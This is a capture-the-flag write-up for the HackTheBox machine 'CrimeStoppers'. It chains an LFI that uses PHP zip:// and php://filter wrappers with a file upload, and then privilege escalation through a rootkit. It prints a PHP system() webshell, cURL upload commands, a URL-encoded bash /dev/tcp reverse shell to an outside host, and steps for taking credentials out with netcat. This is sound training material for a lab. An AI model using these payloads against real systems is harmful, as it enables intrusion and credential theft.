HackTheBox: CrimeStoppers
This box is rated hard difficulty on HTB. It involves us combining a file upload with an LFI vulnerability to get a reverse shell on the machine as www-data. Once on the system, we dump a user’s Thunderbird credentials to pivot users and then reverse engineer a rootkit left behind by a previous attacker to escalate privileges to root.
Host Scanning
As always, I begin with an Nmap scan against the target IP to find all running services on the host; Repeating the same for UDP yields no results.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo nmap -p80 -sCV 10.129.27.143 -oN fullscan-tcp
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-03 01:12 -0400
Nmap scan report for 10.129.27.143
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Ubuntu))
|_http-title: FBIs Most Wanted: FSociety
|_http-server-header: Apache/2.4.25 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.93 seconds
There is just one port open:
- An Apache web server on port 80
This tells me that this box will be very web-heavy, at least until we grab a shell, so I fire up Ffuf to start searching for subdirectories and Vhosts in the background before heading to the site.
Website Enumeration
Checking out the landing page shows a custom-built site displaying information about the fsociety hacking group on the FBI’s most wanted list. The suspect portion gives us a few names to work with, which I’ll keep in mind for any login panels down the road.
Upload Function
The site only has one real function, which is to send information to their tipline at the Upload tab.
Testing this form out reveals that the value of the Information field is reflected back to our page upon submission. This would make it a prime candidate for Cross-Site Scripting if left unfiltered.
A quick test payload which would’ve rendered the supplied text to be bold fails, leaving us with little to go off of.
Discovering LFI
Since the op parameter takes in seemingly useful values such as upload and view, I fuzz it for anything else that may seem interesting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ ffuf -u 'http://10.129.27.143/?op=FUZZ' -w /opt/seclists/Discovery/Web-Content/raft-small-words.txt --fs 1757
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.27.143/?op=FUZZ
:: Wordlist : FUZZ: /opt/seclists/Discovery/Web-Content/raft-small-words.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1757
________________________________________________
home [Status: 200, Size: 4213, Words: 1169, Lines: 124, Duration: 56ms]
upload [Status: 200, Size: 2567, Words: 450, Lines: 72, Duration: 56ms]
common [Status: 200, Size: 1694, Words: 316, Lines: 57, Duration: 54ms]
view [Status: 302, Size: 1694, Words: 316, Lines: 57, Duration: 55ms]
list [Status: 200, Size: 1855, Words: 340, Lines: 62, Duration: 56ms]
0 [Status: 200, Size: 4213, Words: 1169, Lines: 124, Duration: 51ms]
index [Status: 500, Size: 1694, Words: 316, Lines: 57, Duration: 2969ms]
:: Progress: [43007/43007] :: Job [1/1] :: 653 req/sec :: Duration: [0:01:09] :: Errors: 0 ::
Those results show that tries to fetch the file given to the parameter and displays it to the page. This hypothesis is reinforced by the request for index throwing a 500 Internal Server error as it tries to reinclude itself and panics.
Using PHP Wrappers
I attempt to grab the /etc/passwd file as a proof of concept for LFI, but only end up with a funny error.
A simple payload like that gets sniped by the WAF/detection method and a few more attempts show that any indication of a relative file path won’t work. Next, I make use of PHP wrappers to convert a known resource to Base64 as a proof of concept.
1
/?op=php://filter/convert.base64-encode/resource=index
Decoding this blob reveals the index page’s source code and confirms the LFI.
From the output, we can see that the site’s PHP code is looking for path traversal characters like ../ and killing the request.
This Invicti article delves a bit deeper if you’re curious about this technique, but we’re essentially forcing the machine to locate resources and then print them to the page to bypass the security in place.
Whilst reading through the index page’s code, I notice a section that automatically sets an admin cookie to the value of 0 if it’s not set. Changing this to be 1 grants us access to a new function that lists all uploaded tips to the site.
The whiterose.txt file hints at a vulnerable GET parameter which we already discovered as well as an email address disclosing a hostname of DarkArmy.htb.
Initial Foothold
By now, it’s obvious we need to upload a webshell using the tipline and use the LFI to proc it. Viewing the upload.php page’s source code clearly defines how and where files are stored on the site.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if(isset($_POST['submit']) && isset($_POST['tip'])) {
// CSRF Token to help ensure this user came from our submission form.
if 1 == 1 { //(!empty($_POST['token'])) {
if (hash_equals($token, $_POST['token'])) {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
// Place tips in the folder of the client IP Address.
if (!is_dir('uploads/' . $client_ip)) {
mkdir('uploads/' . $client_ip, 0755, false);
}
$tip = $_POST['tip'];
$secretname = genFilename();
file_put_contents("uploads/". $client_ip . '/' . $secretname, $tip);
header("Location: ?op=view&secretname=$secretname");
} else {
print 'Hacker Detected.';
print $token;
die();
}
}
Uploading Webshell
The files are sent to /uploads/<IP> using a function from common.php. Checking that code out shows that it creates a SHA1 hash using the remote IP address, user agent, current time, and then a random value.
1
2
3
4
5
6
7
8
9
10
<?php
/* Stop hackers. */
if(!defined('FROM_INDEX')) die();
// If the hacker cannot control the filename, it's totally safe to let them write files... Or is it?
function genFilename() {
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}
?>
So we cannot control the filename after it is uploaded, but luckily the contents are left untouched. The op parameter isn’t blocking any PHP filters, so we can use the zip:// one to have the site run PHP code within the archive. I’ll just stick with a $_GET payload to keep things simple.
1
2
3
4
5
└─$ cat websh.php
<?php echo system($_GET['cmd']); ?>
└─$ zip pwn.zip websh.php
adding: websh.php (stored 0%)
We’ll need to grab the PHPSESSID and CSRF cookies in order for this to work as well, which can be done with cURL and grepping for them.
1
2
3
└─$ curl -sD - 'http://10.129.27.143/?op=upload' | grep -e PHPSESSID -e 'name="token"'
Set-Cookie: PHPSESSID=1grhmeojn1p7poff06g065j883; path=/
<input type="text" id="token" name="token" style="display: none" value="a4c24e168e1bd02dba77fe2aad7afd2a77ea0bd7c105000fe4856ab38c9f259b" style="width:355px;" />
Now we can make a POST request to the upload page while redirecting our webshell from the zip archive into the tip parameter.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ curl -X POST -sD - -F "tip=<pwn.zip" -F "name=cbev" \
-F "token=a4c24e168e1bd02dba77fe2aad7afd2a77ea0bd7c105000fe4856ab38c9f259b" \
-F 'submit=Send Tip!' http://10.129.27.143/?op=upload \
-H "Referer: http://10.129.27.143/?op=upload" \
-H "Cookie: admin=1; PHPSESSID=1grhmeojn1p7poff06g065j883"
HTTP/1.1 302 Found
Date: Sun, 03 May 2026 06:24:13 GMT
Server: Apache/2.4.25 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ?op=view&secretname=b2c4d949dac5a03e40778928f3e7c6fc00d47c61
Content-Length: 1730
Content-Type: text/html; charset=UTF-8
[...]
Checking the servers response headers gives us the location where our webshell is now sitting. We can now combine the LFI with this file to execute commands in the context of the web server using the zip:// PHP wrapper. We have already gathered that the uploads follow a format of /uploads/<REMOTE_IP>/<SECRET_NAME>, so we plug in the correct values to include our webshell.
1
/?op=zip://uploads/10.10.14.243/b2c4d949dac5a03e40778928f3e7c6fc00d47c61%23websh&cmd=id
Grabbing Reverse Shell
Be sure to percent-encode the ampersand (& becomes %23) since we’re passing it through a URL. A quick sanity check with a simple id command confirms this works and we can move to grabbing a reverse shell from it.
I end up using a bash one-liner to catch a connection, making sure to URL-encode the bad characters to get it working.
1
bash -c 'bash -i >& /dev/tcp/10.10.14.243/443 0>&1'
Final payload:
1
/?op=zip://uploads/10.10.14.243/b2c4d949dac5a03e40778928f3e7c6fc00d47c61%23websh&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.243%2F443%200%3E%261%27
At this point we can grab the user flag and work on ways to escalate privileges to root user.
Privilege Escalation
Thunderbird Creds
I’d usually head for a database when landing on a box as the web service, however there wasn’t one in this case. I do notice a .thunderbird (an application that manages calendars, messaging, and contacts) directory under the Dom user’s home directory, which can be dumped to gather saved credentials.
After exfilling these files with Netcat, I install Thunderbird on my Kali machine and just swap out my profile for Dom’s. Checking the saved passwords gives us credentials for IMAP and SMTP.
These are reused for the machine as well, allowing us to switch users to their account from our existing shell.
Reverse Engineering RootKit
Light filesystem enumeration doesn’t reveal anything very interesting, so I head back to Thunderbird, this time checking for email communication. This shows an exchange between Dom and Elliot explaining how she is concerned that rootkit has been placed on her machine by the name of apache_modrootme. This should be accessed to spawn a root shell when typing “get root”, but it doesn’t seem to be working for her.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
dom@crimestoppers:~/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb$ cat Sent-1
From
Subject: Re: RCE Vulnerability
To: WhiteRose <WhiteRose@DarkArmy.htb>
References: <9bf4236f-9487-a71a-bca7-90fa7b9e869f@DarkArmy.htb>
From: dom <dom@crimestoppers.htb>
Message-ID: <18ea978c-f4f3-58e9-28fa-70f1a7b28664@crimestoppers.htb>
Date: Sat, 16 Dec 2017 11:49:27 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Thunderbird/52.5.0
MIME-Version: 1.0
In-Reply-To: <9bf4236f-9487-a71a-bca7-90fa7b9e869f@DarkArmy.htb>
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
Content-Language: en-US
If we created a bug bounty page, would you be open to using them as a
middle man? Submit the bug, they will verify the existence and handle
the payment.
I don't know how this ecoins things work.
On 12/16/2017 11:46 AM, WhiteRose wrote:
> Hello,
>
> I left note on "Leave a tip" page but no response. Major
> vulnerability exists in your site! This gives code execution.
> Continue to investigate us, we will sell exploit! Perhaps buyer will
> not be so kind.
>
[...]
[CUT]
[...]
--------------6B48F005D20D18C4F951CD41--
From
To: elliot@ecorp.htb
From: dom <dom@crimestoppers.htb>
Subject: Potential Rootkit
Message-ID: <54814ded-5024-79db-3386-045cd5d205b2@crimestoppers.htb>
Date: Sat, 16 Dec 2017 12:55:24 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Thunderbird/52.5.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
Content-Language: en-US
Elliot.
We got a suspicious email from the DarkArmy claiming there is a Remote
Code Execution bug on our Webserver. I don't trust them and ran
rkhunter, it reported that there a rootkit installed called:
apache_modrootme backdoor.
According to my research, if this rootkit was on the server I should be
able to run "nc localhost 80" and then type "get root" to get a root
shell. However, the server just errors out without providing any shell
at all. Would you mind checking if this is a false positive?
Searching for files following a similar naming convention shows an enabled module named rootme inside the /etc/apache2 directory.
1
2
3
4
5
6
7
8
└─$ find / -type f -name *rootme* 2>/dev/null
/usr/lib/apache2/modules/mod_rootme.so
/etc/apache2/mods-available/rootme.load
└─$ locate rootme
/etc/apache2/mods-available/rootme.load
/etc/apache2/mods-enabled/rootme.load
/usr/lib/apache2/modules/mod_rootme.so
I transfer this to my local machine and have a look at it with IDA, showing that a function named rootme_post_read_request makes a call to darkarmy. After that, a call to compare the result of darkarmy and a buffer is made which intrigues me.
Checking out darkarmy shows that it takes two strings, performs an XOR operation against their first ten characters.
We can recreate this in Python to find out the secret string used.
1
2
3
>>> a = 'HackTheBox'
>>> b = '\x0E\x14\x0d\x38\x3b\x0b\x0c\x27\x1b\x01'
>>> [chr(ord(x) ^ ord(y)) for x,y in zip(a,b)]
Providing this string in the Netcat connection when attempting to use the rootkit succeeds this time, giving us root privileges on the box.
That’s all y’all, this box had a cool theme of retracing an attacker’s footsteps through some more complex vulnerabilities that I thought was awesome. I hope this was helpful to anyone following along or stuck and happy hacking!

















